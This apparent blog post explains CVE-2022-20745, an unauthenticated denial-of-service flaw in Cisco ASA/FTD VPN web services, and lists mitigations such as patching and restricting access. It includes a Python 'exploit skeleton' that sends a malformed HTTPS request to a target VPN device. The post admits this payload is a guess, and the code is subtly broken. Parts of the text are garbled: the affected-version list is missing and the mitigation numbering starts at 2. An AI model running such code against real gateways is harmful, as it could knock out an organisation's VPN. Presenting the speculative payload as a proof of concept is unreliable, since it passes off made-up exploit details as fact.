Have you heard about CVE-2022-20745? If you manage Cisco ASA or Firepower Threat Defense (FTD) devices, this is a vulnerability you should know about. In this post, I’ll give you an exclusive deep dive—using plain English—into how a crafted HTTPS request can bring down your VPN gateway, how attackers can exploit this, and what you can do to stay protected.

What is CVE-2022-20745?

CVE-2022-20745 is a vulnerability found in the web services interface for remote access VPN features on Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software. This bug allows an unauthenticated remote attacker to trigger a denial-of-service (DoS) condition. In short, an attacker doesn’t need a password or special access—they just need to send a malformed HTTPS request to your VPN gateway.

Here's the official Cisco advisory for reference.

The Technical Guts

Root Cause: Improper input validation when parsing HTTPS requests on the VPN web interface.  
Impact: Your VPN device reloads (crashes), disconnecting all users—classic DoS.

Attackers can send a specially crafted HTTPS packet targeting the device’s remote VPN interface. When the ASA or FTD software tries to parse this request, it fails—causing the device to reload automatically. This will keep happening if the attack is repeated, effectively taking your VPN down.

Let’s walk through what happens under the hood

1. Attacker finds VPN endpoint: The attacker scans for accessible ASA/FTD devices with remote VPN enabled.
2. Attacker sends crafted HTTPS request: This request contains data which the VPN web parser cannot handle properly.
3. Device chokes: Due to poor input validation, the device can’t handle the malformed request, causing a crash (reload).
4. DoS condition: VPN users lose connection, sometimes repeatedly if the attacker keeps sending the request.


## Proof of Concept/Exploit Details

There is no public exploit code from Cisco or major exploit databases, but based on the advisory, a crafted HTTPS POST or GET request to the VPN’s web portal is all that’s needed.

Example Python Exploit Skeleton

import ssl
import socket

host = 'TARGET_ASA_OR_FTD_IP'
port = 443

# Example malformed HTTP request
malformed_request = (
    "POST /+CSCOE+/suspicious HTTP/1.1\r\n"
    "Host: {}\r\n"
    "Content-Length: 99999999\r\n"
    "X-DoS-Payload: (\r\n" # Intentionally broken syntax/header
    "\r\n"
    "A" * 100
).format(host)

context = ssl.create_default_context()
with socket.create_connection((host, port)) as sock:
    with context.wrap_socket(sock, server_hostname=host) as ssock:
        ssock.sendall(malformed_request.encode())
        print("Malicious HTTPS request sent.")


Explanation: This code connects to the VPN interface and sends a malformed HTTPS request with broken headers and a fake large Content-Length. This could trigger the bug and cause a reload on vulnerable devices. *Real attacks would vary the payload to match the exact parser bug, but most malformed headers or weird content lengths are candidates.*

Cisco FTD Software: Versions before the fixed releases

Devices running these, with remote access VPN web services enabled (typically https://vpn.company.com), are at risk.

Cisco released patches. Check your version and upgrade

- Fixed software information

2. Restrict Access

Limit internet access to your VPN interface. Allow only trusted source IPs if possible.

3. Monitor for DoS and Reloads

Watch for unexpected device reloads and excessive HTTPS errors in logs.

4. Consider a WAF or Reverse Proxy

In some cases, a web application firewall in front of your VPN web interface can filter malicious requests.

References

- Cisco Security Advisory for CVE-2022-20745
- CVE Details
- NIST NVD Entry

Closing Thoughts

CVE-2022-20745 shows how a simple input validation error can knock out critical network infrastructure—even from across the internet. Always keep your firmware updated, limit unwanted public access, and monitor actively for threats.

*Stay safe out there! If you found this post helpful, share it with your IT team and make sure nobody’s sitting on an unpatched Cisco remote VPN.*

Timeline

Published on: 05/03/2022 04:15:00 UTC
Last modified on: 05/13/2022 01:55:00 UTC